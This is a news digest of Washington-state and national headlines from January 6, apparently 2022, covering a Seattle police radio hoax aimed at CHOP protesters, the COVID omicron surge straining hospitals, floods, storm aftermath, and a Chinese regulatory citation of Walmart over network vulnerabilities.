GIST	<p>City leaders issued criticism for the Seattle Police Department on Thursday, following the release of an investigation that found several officers had participated in a coordinated hoax designed to deceive protesters in the Capitol Hill Occupied Protest zone.</p> <p>The ruse saw several police officers engage in radio chatter in June of 2020, describing a group of armed, agitated Proud Boys protesters moving through the city toward the CHOP. It was later found that the officers were lying about the existence of the protest in a concerted effort to mislead those in the CHOP.</p> <p>The operation included a range of SPD employees, including Bryan Grenon, who at the time was serving as the captain of the East Precinct. Grenon was later promoted to assistant chief, but is no longer with the department. While then-SPD Chief Carmen Best denied knowledge of the hoax, Assistant Chief of Patrol Operations Tom Mahaffey did admit he was tacitly aware of it, albeit without direct knowledge or participation.</p> <p>Ultimately, <a href="#">an investigation</a> from Seattle’s Office of Police Accountability concluded that the ruse “improperly added fuel to the fire” during an already-fraught stage in the year’s protests, “and could have had dire results.” It was months after the ruse took place before that investigation even began, sparked by a request from Converge Media’s Omari Salisbury for body-worn camera footage from officers alleged to have witnessed the Proud Boys protesters.</p>

Seattle Mayor Bruce Harrell agreed with the OPA's conclusions in a statement to KIRO Radio reporter Hanna Scott on Thursday, calling the incident "totally unacceptable," while thanking Salisbury for his role in helping bring the details of the ruse to light.

"This kind of tactic never should have been considered, condoned, or carried out in the first place," Harrell said. "The path to de-escalation is never through the threat, real or fake, of further agitation."

"The damage done to public trust by an incident like this is immeasurable," Harrell continued. "It is a clear breakdown in leadership. We simply cannot have a chief or command staff claim that they are unaware of such critical tactical decisions, whether in this instance or abandoning the East Precinct."

Harrell concluded by stating that "this cannot happen again, period," and that he plans to meet with interim SPD Chief Adrian Diaz and members of the department's command staff to discuss how to "ensure that this does not happen again." He also plans to speak with City Council Public Safety Chair Lisa Herbold for additional recommendations.

Others have called for further action, with Councilmember Tammy Morales pushing for "an investigation outside City process." Former Mayor Mike McGinn agreed, proposing a "complete investigation" spearheaded by the state Attorney General's office.

"The city council member is right," McGinn [tweeted on Thursday](#). "The misinformation came from SPD command staff. And that behavior was kept under wraps by SPD and Mayor Durkan for a year and a half. Add in deleted texts, other SPD misinformation, and defiance of court orders — where is the civilian control?"

The OPA recommended discipline for Grenon and an operations center officer, although neither are with the department anymore. It did not sustain allegations against four other officers who participated in the effort, finding that it was "predominantly attributable to the lack of supervision and guidance provided to them" by their superiors.

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HEADLINE	01/06 Gov. prepared to use Guard in hospitals
SOURCE	<a href="https://www.q13fox.com/news/inslee-to-activate-national-guard-to-help-hospitals-struggling-with-staffing-shortages">https://www.q13fox.com/news/inslee-to-activate-national-guard-to-help-hospitals-struggling-with-staffing-shortages</a>
GIST	<p><b>OLYMPIA, Wash.</b> - <a href="#">Gov. Jay Inslee</a> said he's ready to activate the National Guard to help <a href="#">struggling hospitals around the state</a> dealing with staffing shortages.</p> <p>His statements came minutes after the Washington State Medical Association, which represents 12,000 physicians, sent a letter to the governor and the head of the state Department of Health, urging them to "officially <a href="#">declare Washington state in crisis and immediately take action to aid overwhelmed emergency departments</a> and hospitals across the stat."</p> <p>The letter asked Inslee to use the National Guard to "assist with staffing shortages in long term care facilities and hospitals, including many non-clinical services such as patient transport, meal service and laboratory assistance."</p> <p>During a Thursday brief regarding the governor's agenda for the upcoming legislative session, Inslee was asked if he would honor the physician's request and activate the Guard.</p> <p>"We are preparing for the use of National Guard that can be useful in the health care system," he said. "We haven't been asked specifically by hospitals, but will look for suggestions".</p> <p>"Hospitals are really, really full and staffing is incredibly tight," said Cassie Sauer, President of the Washington State Hospital Association. "One thing that is new for us is that we have a lot of hospital staff that are sick who have tested positive."</p>

[Weekly COVID case counts have skyrocketed 88%](#) since the beginning of December, said Sauer. She said emergency rooms are running at full capacity with people who are in dire medical need having to wait.

Aside from the staffing shortage, she said people seeking a COVID test, whether they are showing symptoms or not, has become a huge problem.

"It is causing a huge [backlog in our ER's](#). It's jeopardizing care for people with true emergencies. It is totally burning out our staff" said Sauer. "We do not, at this moment, have room for even a small number of COVID patients and we expect these numbers to keep climbing."

"We are in a difficult time in our health care system right now," said Washington's Secretary of Health, Dr. Umair Shah.

He acknowledged the staffing strain on hospitals and nursing homes with COVID rooms, and said people who have tested positive with COVID should not go to the emergency room unless the symptoms are severe.

"If you've got symptoms and you can't get a test, instead of frantically going and clogging up an emergency department and further the strain on the health care system - you stay home, you isolate," he said.

Sauer said a change in medical consent laws is hampering loved ones and hospitals from moving COVID patients to nursing facilities. Typically, when a patient is unable to give consent to a change of medical care, the guardian or next of kin can give consent. However, a change in the law is preventing a loved one from giving that consent.

"You can consent for a person ending care and not resuscitate a person, but you cannot consent to the person moving to a nursing home," said Sauer. "This is ludicrous. It needs to be changed. We are desperate for help on that."

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HEADLINE	<b>01/06 DOH recommends boosters for 12 and older</b>
SOURCE	<a href="https://komonews.com/news/local/washington-recommends-coronavirus-boosters-for-everyone-12-and-older">https://komonews.com/news/local/washington-recommends-coronavirus-boosters-for-everyone-12-and-older</a>
GIST	<p>OLYMPIA, Wash – The Washington Department of Health has expanded its recommendation for the Pfizer COVID-19 booster to include youth ages 12 to 17.</p> <p>DOH says they should receive the Pfizer booster at least five months after completing their primary vaccination series.</p> <p>The health department expanded the booster eligibility following guidance and recommendations from the U.S. Food and Drug Administration, the Centers for Disease Control and Prevention, and the Western States Scientific Safety Review Workgroup.</p> <p>“We know booster doses increase an individual’s protection against COVID-19, which is especially important as the highly contagious omicron variant spreads across our state,” said Umair A. Shah, Washington Secretary of Health. “Many Washington residents as young as 12 are now at that five-month mark and will benefit from a booster. We highly encourage everyone who is eligible not to delay and get your booster shot today.”</p> <p>DOH says everyone 12 and older should get a booster dose at least five months after completing the Pfizer vaccination series, six months after completing the Moderna vaccination series, or two months after receiving the single-dose Johnson &amp; Johnson vaccine.</p>

	This week the CDC also expanded recommendations for additional doses for certain immunocompromised children ages 5 through 11.
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HEADLINE	<b>01/06 Recall: fresh ground beef local stores</b>
SOURCE	<a href="https://www.kiro7.com/news/local/more-than-28k-pounds-beef-products-recalled-due-possible-e-coli-contamination/GJILPNNZA5BWVMO4X66BMBPWUA/">https://www.kiro7.com/news/local/more-than-28k-pounds-beef-products-recalled-due-possible-e-coli-contamination/GJILPNNZA5BWVMO4X66BMBPWUA/</a>
GIST	<p>Interstate Meat Distribution Inc. of Clackamas, Oregon is recalling 28,356 pounds of ground beef products due to possible E. Coli contamination, the U.S. Department of Agriculture’s Food Safety and Inspection Service announced Thursday.</p> <p>The products were shipped to retailers in Washington state, Oregon, California, Arizona, Nevada, Utah, and Wyoming.</p> <p>The raw ground beef products were produced on Dec. 20, 2021, and bear the establishment number “EST. 965” inside the USDA mark of inspection.</p> <p>According to a release from FSIS, the issue was reported to the agency after a package of ground beef was bought and submitted to a third-party laboratory for microbiological analysis, where a sample tested positive for E. coli.</p> <p>The results from the tested sample were confirmed by FSIS after it assessed the laboratory’s accreditation and methodologies.</p> <p>People who purchased the beef are being urged to throw it out or return it to the store.</p> <p>Consumers with food safety questions can call the toll-free USDA Meat and Poultry Hotline at 1-888-MPHotline (1-888-674-6854) or live chat via Ask USDA, from 10 a.m. to 6 p.m. ET, Monday through Friday.</p>
<a href="#">Return to Top</a>	<i>The products subject to <a href="#">recall can be found here</a>.</i>

HEADLINE	<b>01/06 Empty grocery shelves Puget Sound</b>
SOURCE	<a href="https://www.kiro7.com/news/local/empty-grocery-stores-shelves-spotted-across-puget-sound/RL5F5B632JAUXKBI7D4CBIWLHM/">https://www.kiro7.com/news/local/empty-grocery-stores-shelves-spotted-across-puget-sound/RL5F5B632JAUXKBI7D4CBIWLHM/</a>
GIST	<p>Grocery shopping throughout Puget Sound has been more difficult in recent weeks as the area is still recovering from the Christmas Weekend Storm.</p> <p>“This is actually the third store I’ve been to tonight trying to find some pasta,” says John Jamison of Seattle, as he walks into Marketime Foods in Fremont.</p> <p>Shopper Collin Tuggle adds, “It’s been a lot of like green and produce it feels like. The fresh stuff just doesn’t feel like it’s quite as there.”</p> <p>From QFC to the local mom-and-pop shop, empty shelves across Puget Sound have some shoppers scratching their heads wondering where all the goods are.</p> <p>“Last week our main grocery delivery truck didn’t even come,” says Bill Stamey, co-owner of Marketime Foods.</p> <p>He says the culprit is due to the Christmas weekend snowstorm that brought the area to stand still.</p> <p>“Our warehouse actually couldn’t get enough people into work to load the trucks,” says Stamey. “That was something new this year that we haven’t experienced in past years when we’ve had winter storms.”</p>



	At QFC, spokesperson Tiffany Sanders tells KIRO 7 they are getting daily deliveries to their stores, “We are working with our vendor community and logistics teams to ensure we have food and key items available for the communities that we serve.”
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HEADLINE	<b>01/06 Hundreds of pieces lost luggage at SEA</b>
SOURCE	<a href="https://www.king5.com/article/travel/airline-passengers-reuniting-lost-luggage-sea-tac/281-83525dcc-feff-45ff-b6b0-44c7e98d4059">https://www.king5.com/article/travel/airline-passengers-reuniting-lost-luggage-sea-tac/281-83525dcc-feff-45ff-b6b0-44c7e98d4059</a>
GIST	<p>SEATAC, Wash. — Nearly a full week after hundreds of airline passengers were separated from their luggage at Sea-Tac Airport because of <a href="#">flight cancellations and delays</a>, many are still struggling to reunite with their bags.</p> <p>The airport says more than 2,000 flights were cancelled out of Sea-Tac through the holiday travel season because of the Winter snowstorm with <a href="#">Alaska Airlines</a> and Delta being hit the hardest.</p> <p>The pile-up of luggage at baggage claim is rare. With hundreds of bags still left to be claimed after finally emerging from the tangle of rescheduled flights across the country.</p> <p>Ty Wilbur of Seattle is searching for his luggage at Sea-Tac after the family trip to Mexico was scrapped at the last minute because of flight cancellations the day before Christmas.</p> <p>"Thankfully we only packed Summer clothes," Wilbur said. "We got the call that our bags were here somewhere."</p> <p>Alaska Airlines says this is a reminder of how important it is to add contact information to your airlines luggage.</p> <p>In a statement, the company said, "Our Central Baggage Services office and a team of our management volunteers are methodically sorting and calling guests using the contact information on each bag. We're offering our guests the option of in-person pick-up, FedEx or local courier delivery."</p> <p>Alaska Airlines reduced its flights by about 20% out of Sea-Tac for a few days before the new year due to frigid conditions, contributing to the list of cancellations.</p> <p>Alaska Airlines said Thursday it is again <a href="#">reducing its number of flights</a>. The change in flight schedule this time is due to an “unprecedented” number of employees calling in sick during the current COVID-19 surge.</p> <p>Flight cancellations and delays continue nationwide and globally as COVID-19 surges in the new year.</p>
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HEADLINE	<b>01/06 Flood evacuations in multiple counties</b>
SOURCE	<a href="https://www.king5.com/article/news/local/flooding-western-washington-heavy-rain-snowmelt/281-04e969bc-c203-4ab5-9ed7-fa14b456e17f">https://www.king5.com/article/news/local/flooding-western-washington-heavy-rain-snowmelt/281-04e969bc-c203-4ab5-9ed7-fa14b456e17f</a>
GIST	<p>GRAYS HARBOR COUNTY, Wash. — Areas of Grays Harbor County, Thurston County and Mason County are experiencing flooding Thursday due to <a href="#">heavy rain and snowmelt</a>.</p> <p>There are evacuations in place in multiple counties.</p> <p>Find information on flooding, evacuations and flood warnings below:</p> <p><b>Mason County:</b></p>

Residents in flood-prone areas of Skokomish Valley in Mason County were ordered to either evacuate or prepare to shelter in place for three days due to quickly rising floodwaters with imminent flooding and road closures expected.

"We expect more road closures with some areas cut-off and inaccessible as early as 3:00 p.m.," wrote the Washington Department of Emergency Management.

As of 11 a.m., the 800 line and Ells Hill Road are closed. Floodwaters are expected to rise as high as 17 and a half feet by midnight.

This comes after Mason County [declared a state of emergency](#) Wednesday ahead of the heavy rain due to the "extensive damage" dealt by the recent snowstorm.

#### **Grays Harbor County:**

A Flood Warning went into effect Thursday afternoon for areas of Grays Harbor County after major flooding was forecasted for the Chehalis River above Grand Mound. The Flood Warning is expected to be in place until Sunday afternoon.

Grays Harbor County Emergency Management said the Chehalis River will reach 144.5 feet, causing "major flooding, inundating roads and farm lands in Independence Valley."

Floodwaters are expected to cover State Route 12 and James, Independence and Moon roads.

The river is expected to rise above flood stage Thursday afternoon and crest Friday afternoon at 145.2 feet. Officials said it isn't expected to fall below flood stage until Sunday morning.

The [Hoquiam Police Department](#) told residents to prepare for localized flooding. The city's public works department opened a free sandbag station next to the Department of Licensing Office at the end of 8th Street.

Hoquiam police urge residents to not drive through floodwaters.

Around 8:30 a.m., Twin Harbors Eye Center in Aberdeen [posted pictures](#) on Facebook of flooding inside its offices.

#### **Thurston County:**

Thurston County Emergency Management issued a Level 2 evacuation for the Chehalis River. Residents living near the river should prepare for localized flooding and be prepared to evacuate the area if advised to by law enforcement. Forecasts predict the river will reach flood stage on Thursday and remain there through Sunday.

The Skookumchuck River is expected to reach major flooding. The river is expected to rise above flood stage at 215 feet late Friday morning. The river will fall back below flood stage on Saturday afternoon. Flooding is also possible in downtown Olympia. Sandbags are available to local businesses in Olympia at several locations throughout the city.

Call Thurston County Public Works at (360) 867-2300 to report flooded roads during regular business hours. After hours, weekend and holiday road reports should be directed to TCOMM Dispatch at (360) 704-2740. Residents are urged to only use 9-1-1 for life-threatening emergencies.

#### **Lewis County:**

The Skookumchuck River at Centralia is projected to rise two feet higher than the current peak level previously set in 1996.

Lewis County Commissioners asked residents to take necessary steps to protect themselves and their families, especially if they see water near their home or current location.

Those who are displaced can find shelter at Centralia Middle School at 901 Johnson Rd. The shelter has an outside space for pets.

#### **King County:**

In Issaquah, the Issaquah Creek is expected to flood nearby residences, businesses and roads, according to predictions from the National Weather Service.

The City of Issaquah announced on Twitter, the creek's level has reached Phase 2. Crews will be responding to deliver sandbags as needed. For assistance, residents can call 425-837-3470.

The Issaquah Salmon Hatchery, located next to the creek, has been preparing for high waters for the last couple days.

The group, "Friends of the Issaquah Salmon Hatchery put a call out on Nextdoor for volunteers needed to fill sandbags. Dozens arrived to help fill the bags, some of which are being used to shield the hatchery pumps and entryways into the facility.

Two homes on-site, where staff live, are also on alert and using sandbags to block crawl spaces.

"Any area where it's vulnerable, where we know the water can get high enough and cause a problem, we really fortify the place really well this year," Hatchery supervisor Darin Combs said.

Two years ago in February, the creek rose to levels that [impacted the hatchery and the garage of one of the staff's homes.](#)

#### **Active flood warnings:**

Flood Warnings have also been issued for various parts of western Washington as snowmelt and heavy rain create potentially disastrous conditions.

The National Weather Service (NWS) has issued a [Flood Warning](#) for the following rivers:

- Issaquah Creek near Issaquah
- Puyallup River near Orting
- Chehalis River near Grand Mound, Doty, Centralia and Porter
- Deschutes River near Rainier
- Newaukum River near Chehalis
- Skokomish River near Potlach
- Skookumchuck River near Centralia and Bucoda
- South Prairie Creek at South Prairie

Rain is expected to impact the region until Sunday when a little morning fog is expected to give way to sunny skies.

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HEADLINE	01/06 Winter fatigue sets across Whatcom Co.
SOURCE	<a href="https://www.king5.com/article/weather/winter-fatigue-sets-across-whatcom-county/281-5cb044ae-e672-47e2-9439-b7146a6d7e49">https://www.king5.com/article/weather/winter-fatigue-sets-across-whatcom-county/281-5cb044ae-e672-47e2-9439-b7146a6d7e49</a>
GIST	<p>WHATCOM COUNTY, Wash. — Nearly two months of rain, floods and snow have been relentless in Whatcom County. Groundhog Day is still a month away but it feels like it's already here in the county.</p> <p>"It sure does," said Tim Morse, a snowplow driver. "It snows and then we have to start all over again."</p> <p>Morse has been plowing roads in Bellingham for 24 years and said this winter has been one of the worst.</p> <p>"I like it for about the first five days," Morse said</p>

Morse and the crew at Bellingham Public Works have been working 12-hour shifts for two solid weeks.

It all started on Christmas Eve when Morse worked from 6 a.m. to 6 p.m.

"You just fit in Christmas when you can," Morse said.

A steady stream of rain, floods, rain, snow, more rain and more snow have saturated the county and worn workers down.

"I think there's a lot of coffee and there's a lot of Red Bull," said Bellingham Interim Supervisor of Maintenance Marty Gray. "Someone was joking we should buy some stock in energy drinks. This is probably the most microwaved food we've eaten in a long time."

In other parts of Whatcom County, the miserable weather has been dragging on for almost two months beginning with historic floods that still have hundreds of people out of their homes in Sumas and Everson.

Along with plow drivers, postal workers aren't getting a break.

The crush of holiday deliveries combined with weeks of winter driving conditions across the county is wearing thin.

"I mean, it's hectic. There's no doubt about that. It's tough trying to fight up and down hills and through deep snow," said Bellingham postal worker James Foreman. "I figure if I'm cold, I work faster."

Right now, the race is on to get the streets plowed again before Thursday night's freezing rain sets in which threatens to turn the streets into slopes.

Morse and the crew will be on the job, waiting for sunnier days ahead.

"Hopefully it warms up here and all this snow disappears," Morse said. "That would be nice."

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HEADLINE	<b>01/06 Edmonds College moves classes online</b>
SOURCE	<a href="https://www.king5.com/article/news/health/coronavirus/edmonds-college-moves-classes-online-for-the-remainder-of-winter-quarter/281-0426dafa-86f5-453a-8ce0-1b49980ba3ee">https://www.king5.com/article/news/health/coronavirus/edmonds-college-moves-classes-online-for-the-remainder-of-winter-quarter/281-0426dafa-86f5-453a-8ce0-1b49980ba3ee</a>
GIST	<p>LYNNWOOD, Wash. — Edmonds College will stick with remote learning for the remainder of the winter quarter due to rising COVID-19 cases, according to a release from the school.</p> <p>Some classes with hands-on components will be allowed to gather in person.</p> <p>The college held the first week of classes online in an effort to help mitigate the spread of COVID-19 following holiday gatherings and travel. The school had 45 reports of staff and students experiencing COVID-19-like symptoms since Jan 3.</p> <p>“This is an alarmingly high number for us,” said Dr. Amit Singh, President of Edmonds College. “Thankfully, because we have been remote, these illnesses, COVID-19 or seasonal colds and flu, didn’t have the means to spread across our campus.”</p> <p>The number of reports of staff and students experiencing symptoms coupled with projections of rapid case increases across the state led Singh to keep classes remote through March 18.</p> <p>Most non-teaching staff will work remotely until Feb. 14, the school said.</p>
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HEADLINE	<b>01/06 DOH: 913,980 cases, 9974 deaths</b>
SOURCE	<a href="https://www.thenewtribune.com/news/coronavirus/article257113677.html">https://www.thenewtribune.com/news/coronavirus/article257113677.html</a>
GIST	<p>The Washington state Department of Health reported 15,157 new COVID-19 cases Thursday, breaking the record set just the day before. Meanwhile, the total number of deaths caused by the coronavirus in the state was just short of breaking the 10,000 mark.</p> <p>“It will get worse,” state Secretary of Health Dr. Umair Shah said Thursday at his department’s briefing.</p> <p>As of Thursday, statewide totals from the illness caused by the coronavirus are 913,980 cases and 9,974 deaths. The case total includes 108,521 infections listed as probable. DOH said total case counts could include up to 600 duplicates.</p>
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HEADLINE	<b>01/06 Hospitalizations push hospitals to brink</b>
SOURCE	<a href="https://www.seattlepi.com/news/article/COVID-hospitalization-surge-pushes-health-systems-16755785.php">https://www.seattlepi.com/news/article/COVID-hospitalization-surge-pushes-health-systems-16755785.php</a>
GIST	<p>SEATTLE (AP) — Hospital leaders, doctors and public health officials said Thursday that a spike of COVID-19 hospitalizations is pushing health care systems in Washington state closer than they’ve ever been to a crisis point.</p> <p>The effects of the omicron variant’s rapid transmission were coming into focus as hospital leaders and health officials detailed trends of severe COVID-19 cases, which had been in decline since the peak of the delta variant last year, The Seattle Times reported.</p> <p>So far, King County and western Washington have experienced the brunt of the omicron spike, but the rest of the state isn’t far behind, state health officials said in a Thursday news briefing.</p> <p>At University of Washington Medicine’s four campuses — three in Seattle and one in Renton — COVID-19 hospitalizations are higher than they’ve been at any other point in the pandemic, according to Dr. John Lynch, medical director of Harborview Medical Center’s infection control program.</p> <p>There are early signs that these new infections are causing less severe illness, especially in vaccinated people, Dr. Francis Riedo, medical director for infection control and prevention at EvergreenHealth in Kirkland, said during a separate briefing with hospital leaders.</p> <p>However, Riedo called it a numbers game.</p> <p>“A small percentage of a million people is a huge number, still,” he said.</p> <p>As of Thursday, King County was averaging about 31 COVID-19 hospitalizations per day, a 76% increase in the past week.</p> <p>Lynch urged Washingtonians not to visit hospital emergency rooms for COVID-19 tests or mild virus treatment, as health care systems are quickly reaching the point at which they can’t handle many more patients.</p> <p>Factors further challenging hospitals include rising worker infection rates — forcing workers into quarantine — delayed care, obstacles discharging patients who no longer need hospital care, and limited testing access statewide.</p> <p>“We are entering, I think, the most challenging phase of this pandemic, period,” Lynch said.</p> <p>Unvaccinated people continue to suffer the worst symptoms, with a chance of dying 15 times higher than those who are vaccinated, state health leaders said Thursday. Important to note, Lynch said, is that vaccinated Washingtonians are still becoming infected, though at a “much lower proportion.”</p>

	<p>Those who have received booster shots are the most protected from both infection and hospitalization, he added. The U.S. said this week that everyone 12 and older should get a COVID-19 booster as soon as they're eligible.</p> <p>Two state medical and physician associations on Thursday called on Gov. Jay Inslee and state Health Secretary Dr. Umair A. Shah to declare a statewide crisis, in hopes of opening up emergency resources for hospitals.</p>
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HEADLINE	<b>01/06 PHX Terminal 4 TSA checkpoints closures</b>
SOURCE	<a href="https://www.usatoday.com/story/travel/airline-news/2022/01/06/tsa-checkpoints-close-covid-phoenix-sky-habor-airport/9124627002/">https://www.usatoday.com/story/travel/airline-news/2022/01/06/tsa-checkpoints-close-covid-phoenix-sky-habor-airport/9124627002/</a>
GIST	<p>Two of the four TSA checkpoints in Phoenix Sky Harbor International Airport's busiest terminal will close indefinitely beginning Friday, Jan. 7.</p> <p>The closure is due to "the impacts of COVID on TSA personnel," according to a joint statement from the airport and the <a href="#">Transportation Security Administration</a> on Jan. 6.</p> <p>The B and D security checkpoints in Terminal 4 will close beginning at 4 a.m. Friday. No end date has been announced. The A and C checkpoints will remain open. Checkpoints in Terminal 3 are not affected.</p> <p>Terminal 4 is home to American and <a href="#">Southwest airlines</a>, the dominant carriers at Sky Harbor, as well as international carriers British Airways, WestJet and Volaris. More than 125,000 people arrive at and depart from the airport daily, according to Sky Harbor's website, and 78% of passengers travel through Terminal 4.</p> <p>The TSA is "monitoring this closely," but so far staffing shortages have not caused checkpoint closures at other airports, according to spokesperson Carter Langston.</p> <p>"Communities and transportation systems have been hard hit by increasing COVID infections, and we continue to encourage those who are ill to stay home and get tested," Langston said in an emailed statement. "The safety of our employees and the traveling public remains our top priority."</p> <p>As of Thursday, about 5% of the TSA's workforce – nearly 3,300 employees – have active COVID-19 infections and are staying home from work.</p>
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HEADLINE	<b>01/06 Japan critical US response omicron surge</b>
SOURCE	<a href="https://www.wsj.com/articles/japan-criticizes-u-s-response-after-omicron-spreads-near-american-bases-11641466830?mod=hp_listb_pos1">https://www.wsj.com/articles/japan-criticizes-u-s-response-after-omicron-spreads-near-american-bases-11641466830?mod=hp_listb_pos1</a>
GIST	<p>TOKYO—A surge in Covid-19 infections around U.S. military bases in Japan is generating tension between Tokyo and Washington after a loophole in entry rules for American soldiers accelerated the spread of the Omicron variant.</p> <p>Foreign Minister Yoshimasa Hayashi on Thursday in Japan asked Secretary of State Antony Blinken for U.S. service members to be restricted to their bases, and regions around bases called for emergency steps to prevent the spread of Covid-19.</p> <p>Prime Minister Fumio Kishida also expressed dissatisfaction with the U.S. response and said he ordered his foreign minister to demand tougher steps at a U.S.-Japan meeting scheduled for Friday.</p> <p>Japan had hoped to keep Omicron at bay with a near-total ban on foreigners entering the country. But the highly infectious variant managed to hitch a ride anyway, including via U.S. troops, who are allowed</p>



under a security treaty to travel directly into and out of U.S. bases in Japan on military aircraft. These troops don't undergo the immigration checks foreigners usually receive on arrival.

The troops then interacted with Japanese locals, including workers on the bases. On Thursday, the southern prefecture of Okinawa, where most of the U.S. military in Japan is based, reported 981 cases, the largest caseload in the country.

U.S. Forces Japan made masks mandatory for all personnel in public areas on and off base and reported a total of 1,784 current infections among people in military facilities. Around 50,000 U.S. service members are based in Japan, the largest permanent overseas U.S. military deployment.

Japan had only a few hundred Covid-19 infection cases each day nationwide from October through late last year, but the total is now climbing rapidly.

"A major cause of the spread of the Omicron variant is infections coming from U.S. military bases," Okinawa Gov. Denny Tamaki said this week.

Mr. Tamaki called Thursday for emergency restrictions on businesses such as bars and restaurants, including those around bases, to prevent the spread of the virus. "We may need to take even stronger measures," he said.

Although the U.S. and Japanese militaries work closely together and have stepped up cooperation [in the face of a threat from China](#), tensions involving crime, noise and other base-related issues have long bedeviled the relationship, particularly in Okinawa. Mr. Tamaki has called for [a reduction in the U.S. presence](#) and opposes a plan to replace a Marine air station in an urban part of Okinawa with a new base in a more rural part of the island.

In response to Japan's call for U.S. military personnel to be restricted to their bases, a State Department spokesperson said Mr. Blinken told Mr. Hayashi the U.S. would closely coordinate with Japan to protect public health and safety.

Mr. Tamaki has been critical of limited precautions taken by the U.S. military to prevent the spread of infection, particularly during the Thanksgiving and year-end holiday periods when some service members based in Japan visited the U.S. and came back.

In late December, Mr. Hayashi, the foreign minister, complained to U.S. Forces Japan Commander Lt. Gen. Ricky Rupp that the U.S. military didn't require negative tests of personnel before travel to Japan. The U.S. military in South Korea introduced a requirement for a negative test before travel into the country early in 2021.

USFJ has gradually tightened precautions and now requires personnel to test negative before traveling to Japan and again on arrival, in line with Japanese border controls for locals. American military members and their families are also required to quarantine for 14 days on arrival and test negative before the period ends.

"The mitigation measures we have instituted throughout USFJ are intended to protect our force's readiness, the well-being of our families, and the health of Japan's citizens," U.S. Forces Japan said Thursday following its decision to tighten requirements on mask wearing.

The largest cluster of infection on U.S. bases in Japan as of Thursday was a group of 529 cases at a Marine air base in the western city of Iwakuni. The prefecture of Yamaguchi, where Iwakuni is located, as well as neighboring Hiroshima asked the central government for emergency restrictions on business hours.

Mr. Hayashi and Mr. Blinken are scheduled to hold talks Friday morning Japan time along with the defense ministers of the two countries to discuss deepening security ties. Mr. Kishida, the Japanese prime minister, said it would also be an occasion to convey concern to the U.S. over the spread of infections.



HEADLINE	01/06 Walmart in China's spotlight again
SOURCE	<a href="https://www.wsj.com/articles/walmart-in-chinas-spotlight-again-as-regulator-cites-infractions-11641491239?mod=hp_lista_pos1">https://www.wsj.com/articles/walmart-in-chinas-spotlight-again-as-regulator-cites-infractions-11641491239?mod=hp_lista_pos1</a>
GIST	<p>SINGAPORE—Chinese authorities turned a spotlight on <a href="#">Walmart</a> Inc. for the second time in less than a week, as a media outlet backed by the country's market regulator highlighted administrative action against the U.S. retailer for alleged cybersecurity infractions.</p> <p>China Quality News, the news website supported by the State Administration for Market Regulation, reported Wednesday that the police in the southern Chinese city of Shenzhen cited Walmart for allegedly violating the country's cybersecurity law. Police had found 19 vulnerabilities in the company's network system in November, and the company was slow to fix the loopholes, the media outlet reported, citing people familiar with the matter.</p> <p>The Bentonville, Ark.-based company had no immediate comment.</p> <p>The report came as Walmart in recent days has faced <a href="#">a backlash on social media</a> as well as criticism from China's anticorruption watchdog for supposedly stopping sales of products from Xinjiang, where the Chinese government has conducted a campaign of forcible assimilation against religious minorities.</p> <p>The cybersecurity-related action against Walmart wasn't out of the ordinary; it consisted of administrative penalties that came with warnings but no fines. Still, the report by the market regulator-backed news site was notable for its timing, coming just days after the anticorruption watchdog's warning.</p> <p>Last Friday, the ruling Communist Party's Central Commission for Discipline Inspection warned Walmart that there would be a consumer retaliation if it removed Xinjiang-sourced products from its shelves.</p> <p>China Quality News also reported Wednesday that the retailer had breached laws in recent years. "From 2017 to 2020, Walmart had violated laws related to food, health products, advertising and customer's rights multiple times, and the market regulator had punished the company in accordance with relevant laws," it said.</p> <p>Public police records from last week showed that Walmart had been punished by Shenzhen police after the retailer allegedly failed to amend 19 cybersecurity vulnerabilities in its network system.</p> <p>Western companies for years have faced some level of political and regulatory pressure operating in China. Even so, sudden major regulatory changes and online calls for consumer boycotts targeting Western companies have been on the rise in the country in recent years.</p> <p>In March, fast-fashion retailer <a href="#">Hennes &amp; Mauritz</a> AB's H&amp;M brand became the target of <a href="#">a fierce online backlash</a> after it said it would stop sourcing from the Xinjiang region, and the Swedish company's online presence was wiped off the Chinese internet.</p> <p>Last month, <a href="#">Chinese social-media users</a> claimed Walmart had stopped selling products sourced from Xinjiang in its Walmart and Sam's Club wholesale stores. Some online users threatened to cancel their Sam's Club membership and boycott the chain. A U.S.-based Walmart spokesperson declined to comment at the time.</p> <p>Xinjiang has become a source of geopolitical tension. Researchers say authorities in Xinjiang have detained as many as a million members of ethnic minorities in a network of internment camps as part of the government's ethnic assimilation campaign, which they say also includes mass surveillance, forced labor and stringent birth controls. The U.S. government, along with some lawmakers from other Western countries, have said those policies amount to a form of genocide.</p>

	<p>Beijing has dismissed the genocide charge as a fabrication, describing its campaign in Xinjiang as an innovative effort to counter religious extremism and terrorism.</p> <p>President Biden last month <a href="#">signed into law</a> the Uyghur Forced Labor Prevention Act, which forbids all imports from Xinjiang into the U.S. unless the products can be shown to have been made without forced labor.</p> <p>This week, electric-car maker <a href="#">Tesla</a> Inc. came under fire from activists and policy makers in the U.S. after it said it opened <a href="#">a new showroom</a> in Xinjiang. Tesla didn't respond to requests for comment then. <a href="#">Intel</a> Corp. apologized to the Chinese public <a href="#">in an open letter</a> last month after the chip maker asked suppliers to avoid sourcing from Xinjiang.</p>
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HEADLINE	<b>01/06 Families shell out for Covid tests</b>
SOURCE	<a href="https://www.wsj.com/articles/some-families-shell-out-for-covid-19-tests-as-officials-race-to-offer-more-11641499169?mod=hp_lead_pos2">https://www.wsj.com/articles/some-families-shell-out-for-covid-19-tests-as-officials-race-to-offer-more-11641499169?mod=hp_lead_pos2</a>
GIST	<p>Some families say they are spending hundreds of dollars on Covid-19 testing during the surge in cases across the country, as efforts by the Biden administration and local officials to distribute free tests lag behind <a href="#">the Omicron variant's rapid spread</a>.</p> <p>Facing <a href="#">hourslong lines at free testing sites</a>, some people have turned to companies that sell more-convenient laboratory testing options, in some cases at prices of more than \$200. And until the Biden administration begins making free Covid-19 testing more widely available, some people say they will continue to pay \$20 or more for over-the-counter, at-home tests.</p> <p>The tab for using over-the-counter rapid tests effectively, with tests over many days, can stretch past \$100, creating a disincentive for people to test, public-health and policy experts say.</p> <p>The Biden administration said it would release guidance in coming days explaining how people with private health insurance can get reimbursed for over-the-counter tests. Starting this month, the administration also <a href="#">plans to make available 500 million free at-home tests</a>. White House officials haven't provided details on how the programs would work. Some public-health researchers say the tests will arrive late in the Omicron surge.</p> <p>Meanwhile, shortages of at-home tests have resulted in complaints to the government of some retailers raising prices, as people search for tests they need to return to work and school. The Biden administration plans to address alleged price gouging in its coming guidance to insurance companies, according to a person familiar with the matter.</p> <p><a href="#">Difficult access to cheap testing</a> in many places highlights the economic divide between those who can afford fast-turnaround testing services and those who can't, public-health and policy experts say.</p> 